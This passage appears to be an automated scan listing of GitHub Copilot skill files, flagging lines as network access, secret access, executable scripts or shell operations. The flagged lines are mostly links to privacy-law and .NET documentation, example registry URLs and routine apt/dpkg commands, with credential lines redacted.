    | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry |
  • Network accessline 51
    | €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen
  • Network accessline 52
    | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html |
  • Network accessline 60
    **Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 61
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 68
    **Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 69
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 80
    **Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 81
    **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 83
    **Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 84
    **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 92
    **URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 96
    **Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 97
    **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 103
    **Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 104
    **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 114
    **Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 115
    **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 123
    **Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 124
    **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 147
    | Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 148
    |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 149
    | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 150
    | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 151
    | HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 |
  • Network accessline 152
    | CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.82 |
  • Network accessline 153
    | Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 |
  • Network accessline 154
    | Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches |
  • Network accessline 155
    | LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br |
  • Network accessline 156
    | Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ |
  • Network accessline 157
    | PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ |
  • Network accessline 165
    | Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 166
    |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/
  • Network accessline 167
    | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 168
    | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ |
  • Network accessline 169
    | Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ |
  • Network accessline 170
    | Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |

harness/github-copilot/skills/data-breach-blast-radius/references/blast-radius-calculator.md

  • Network accessline 237
    Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c

harness/github-copilot/skills/data-breach-blast-radius/references/data-classification.md

  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]

harness/github-copilot/skills/data-breach-blast-radius/references/hardening-playbook.md

  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]

harness/github-copilot/skills/data-breach-blast-radius/references/regulatory-impact.md

  • Network accessline 150
    **Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 190
    **Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 191
    **Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 222
    **Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 223
    **HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 247
    **Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 248
    **ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br
  • Network accessline 282
    **Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated)   **URL:** https://www.ibm.com/reports/data-breach   Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9%
  • Network accessline 283
    **URL:** https://www.ibm.com/reports/data-breach

harness/github-copilot/skills/data-breach-blast-radius/references/report-format.md

  • Network accessline 263
    *This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*

harness/github-copilot/skills/datanalysis-credit-risk/references/analysis.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/datanalysis-credit-risk/references/func.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/datanalysis-credit-risk/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/dataverse-python-usecase-builder/SKILL.md

  • Access to secretsline 116
    [Credential-related source omitted]

harness/github-copilot/skills/debian-linux-triage/SKILL.md

  • Dangerous shell operationline 26
    | Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. |
  • Dangerous shell operationline 39
    | Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. |
  • Dangerous shell operationline 49
    | Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. |
  • Dangerous shell operationline 50
    | Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. |
  • Dangerous shell operationline 51
    | Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |

harness/github-copilot/skills/dependabot/SKILL.md

  • Network accessline 349
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 350
    [Credential-related source omitted]
  • Network accessline 351
    url: https://npm.example.com
  • Network accessline 387
    > Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ
  • Network accessline 388
    Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni
  • Network accessline 389
    > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026)
  • Network accessline 432
    - [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu
  • Network accessline 433
    ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e
  • Network accessline 434
    - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/)
  • Network accessline 435
    - [Example private registry endpoint](https://npm.example.com)

harness/github-copilot/skills/dependabot/references/dependabot-yml-reference.md

  • Network accessline 339
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 340
    [Credential-related source omitted]
  • Network accessline 341
    url: https://npm.example.com
  • Network accessline 344
    maven-central:     type: maven-repository     url: https://repo.maven.apache.org/maven2
  • Network accessline 345
    type: maven-repository     url: https://repo.maven.apache.org/maven2     username: ""
  • Network accessline 346
    url: https://repo.maven.apache.org/maven2
  • Network accessline 350
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 351
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 352
    url: https://ghcr.io
  • Network accessline 356
    python-private:     type: python-index     url: https://pypi.example.com/simple
  • Network accessline 357
    [Credential-related source omitted]
  • Network accessline 358
    url: https://pypi.example.com/simple

harness/github-copilot/skills/dependabot/references/example-configs.md

  • Network accessline 168
    npm-private:     type: npm-registry     url: https://npm.internal.example.com
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 170
    url: https://npm.internal.example.com
  • Network accessline 173
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 174
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 175
    url: https://ghcr.io
  • Network accessline 252
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    url: https://npm.example.com

harness/github-copilot/skills/documentation-writer/SKILL.md

  • Network accessline 90
    - [Diátaxis framework](https://diataxis.fr/)

harness/github-copilot/skills/dotnet-linux-modernization/references/linux-hosting.md

  • Network accessline 8
    The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core),
  • Network accessline 16
    The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview)
  • Network accessline 17
    marks that tool deprecated. The [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) documents upgrade scenarios and supported environments. Discover the installed workflow
  • Network accessline 18
    [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview)
  • Network accessline 25
    Follow the [ASP.NET Framework to ASP.NET Core guide](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0).
  • Network accessline 31
    package availability does not establish server compatibility. - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation;   consult [unavailable Framework technologies](https://learn.microsoft.com/en-us
  • Network accessline 32
    - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation;   consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Native
  • Network accessline 33
    consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable).
  • Network accessline 43
    Use [Microsoft's container-image guidance](https://learn.microsoft.com/en-us/dotnet/core/docker/container-images)
  • Network accessline 53
    The [.NET 8 container port change](https://learn.microsoft.com/en-us/dotnet/core/compatibility/containers/8.0/aspnet-port)
  • Network accessline 61
    | --- | --- | --- | | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the ser
  • Network accessline 62
    | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the service/plan; this suit
  • Network accessline 63
    | Image | Verified Linux image for the service/plan; this suite uses `amd64`. | [Container requirements](https://learn.microsoft.com/en-us/azure/container-apps/containers) specify `linux/amd64`; not Windows. |
  • Network accessline 69
    The [App Service sidecar reference](https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar)
  • Network accessline 74
    The [ACA probe reference](https://learn.microsoft.com/en-us/azure/container-apps/health-probes) documents HTTP(S)/TCP probes and excludes `exec` probes. Use numeric ports and tested thresholds. Do not assume a shell, curl, or a Kubernetes p
  • Network accessline 78
    Use [managed identity for ACA image pulls](https://learn.microsoft.com/en-us/azure/container-apps/managed-identity-image-pull)
  • Network accessline 79
    and the appropriate [ACR RBAC/ABAC role](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview).

harness/github-copilot/skills/dotnet-mcp-builder/SKILL.md

  • Network accessline 161
    - [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol)
  • Network accessline 162
    - [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html)
  • Network accessline 163
    - [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)

harness/github-copilot/skills/dotnet-mcp-builder/references/client.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 39
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 40
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     TransportMode = HttpTransportMode.StreamableHttp,
  • Network accessline 41
    Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 182
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 183
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     KnownSessionId = previousSessionId
  • Network accessline 184
    Endpoint = new Uri("https://my-server.example.com/mcp"),

harness/github-copilot/skills/dotnet-mcp-builder/references/elicitation.md

  • Network accessline 7
    > **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =

harness/github-copilot/skills/dotnet-mcp-builder/references/mcp-apps.md

  • Network accessline 3
    [MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos
  • Network accessline 5
    > **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace
  • Network accessline 15
    The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps).
  • Network accessline 95
    ["resourceUri"] = "ui://charts/interactive"                 // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 96
    // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },                 // ["permissions"] = new JsonArray("clipboard-write")
  • Network accessline 97
    // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 148
    <div id="root">Loading…</div>     <script type="module">       import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 150
    import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 174
    **Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as
  • Network accessline 209
    For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.

harness/github-copilot/skills/dotnet-mcp-builder/references/packages.md

  • Network accessline 5
    All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma
  • Network accessline 24
    **Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo

harness/github-copilot/skills/dotnet-mcp-builder/references/testing.md

  • Network accessline 7
    [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati
  • Network accessline 25
    Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`).
  • Network accessline 166
    - **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the
  • Network accessline 168
    - **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.

harness/github-copilot/skills/dotnet-mcp-builder/references/transport-http.md

  • Network accessline 44
    app.Run("http://localhost:3001");
  • Network accessline 78
    Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`).
  • Network accessline 103
    Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess
  • Network accessline 123
    For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont
  • Network accessline 142
    builder.Services.AddCors(o => o.AddDefaultPolicy(p =>     p.WithOrigins("https://my-host.example.com")
  • Network accessline 143
    p.WithOrigins("https://my-host.example.com")

harness/github-copilot/skills/dotnet-mcp-builder/references/transport-stdio.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 142
    The cleanest workflow is [MCP Inspector](https://github.com/modelcontextprotocol/inspector):

harness/github-copilot/skills/dotnet-modernization-assessment/references/assessment-guide.md

  • Network accessline 39
    The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core),
  • Network accessline 44
    The [porting overview](https://learn.microsoft.com/en-us/dotnet/core/porting/) still describes an
  • Network accessline 48
    The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview)
  • Network accessline 49
    marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) when installed and appropriate, or reviewed manual chang
  • Network accessline 50
    [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview)
  • Network accessline 56
    - [App Service custom containers](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container):
  • Network accessline 57
    documents LTSC-based Windows parents, including ASP.NET Framework 4.8/LTSC 2019 and 4.8.1/LTSC 2022;   explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization
  • Network accessline 58
    explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility):   host/image build and isolation mode matt
  • Network accessline 59
    - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility):
  • Network accessline 60
    host/image build and isolation mode matter separately from Azure service support. - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers):   documents Linux x86-64 (`linux/amd64`) images. Windows images are not
  • Network accessline 61
    - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers):
  • Network accessline 62
    documents Linux x86-64 (`linux/amd64`) images. Windows images are not an ACA migration target. - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0):   app-model differences and incr
  • Network accessline 63
    - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0):
  • Network accessline 64
    app-model differences and incremental migration need explicit design and tests. - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):   details remoting, COM+, Wor
  • Network accessline 65
    - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):

harness/github-copilot/skills/dotnet-modernization-assessment/scripts/dotnet_common.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/dotnet-modernization-assessment/scripts/inventory_dotnet.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/dotnet-modernization-assessment/scripts/test_dotnet_assessment.py

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    "Legacy.vbproj",             '<?xml version="1.0" encoding="utf-16"?>'             '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'
  • Network accessline 51
    '<?xml version="1.0" encoding="utf-16"?>'             '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'             '<PropertyGroup><TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion></PropertyGroup>'
  • Network accessline 52
    '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'

harness/github-copilot/skills/dotnet-modernization-assessment/scripts/validate_container_target.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 20
    WINDOWS_BASE_BUILDS = {"17763": "ltsc2019", "20348": "ltsc2022"} SOURCES = {     "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 21
    SOURCES = {     "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",     "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 22
    "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 23
    "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 24
    "aca": "https://learn.microsoft.com/en-us/azure/container-apps/containers",

harness/github-copilot/skills/dotnet-upgrade/SKILL.md

  • Network accessline 23
    - Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l
  • Network accessline 24
    - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09
  • Network accessline 25
    - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http
  • Network accessline 26
    - The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th

harness/github-copilot/skills/dotnet-windows-appservice/references/windows-appservice.md

  • Network accessline 8
    The [App Service custom-container reference](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container)
  • Network accessline 25
    Use the [Windows host/image compatibility matrix](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility)
  • Network accessline 26
    for the build/test host and isolation mode. The [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) uses a Windows container engine and an ASP.NET Framework image. A Linux e
  • Network accessline 27
    [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container)
  • Network accessline 58
    Use the registry's actual permission mode. The [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)
  • Network accessline 59
    [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)

harness/github-copilot/skills/draw-io-diagram-generator/SKILL.md

  • Network accessline 458
    - [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)

harness/github-copilot/skills/draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/drawio/scripts/drawio-to-png.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 311
    const VIEWER_URL = "https://viewer.diagrams.net/js/viewer-static.min.js";

harness/github-copilot/skills/drawio/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/em-dash/SKILL.md

  • Network accessline 105
    - [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash)
  • Network accessline 106
    - [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/)
  • Network accessline 107
    - [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/)
  • Network accessline 108
    - [em dash wikipedia](https://en.wikipedia.org/wiki/Dash)
  • Network accessline 109
    - [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc)
  • Network accessline 110
    - [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash)
  • Network accessline 111
    - [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html)
  • Network accessline 112
    - [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2)
  • Network accessline 113
    - [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml)
  • Network accessline 114
    - [Punctuation Guide](https://www.thepunctuationguide.com/)

harness/github-copilot/skills/entra-agent-user/SKILL.md

  • Network accessline 72
    GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id}
  • Network accessline 88
    Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET `   -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 89
    Invoke-MgGraphRequest -Method GET    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 90
    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 102
    POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser
  • Network accessline 138
    Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 139
    -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 156
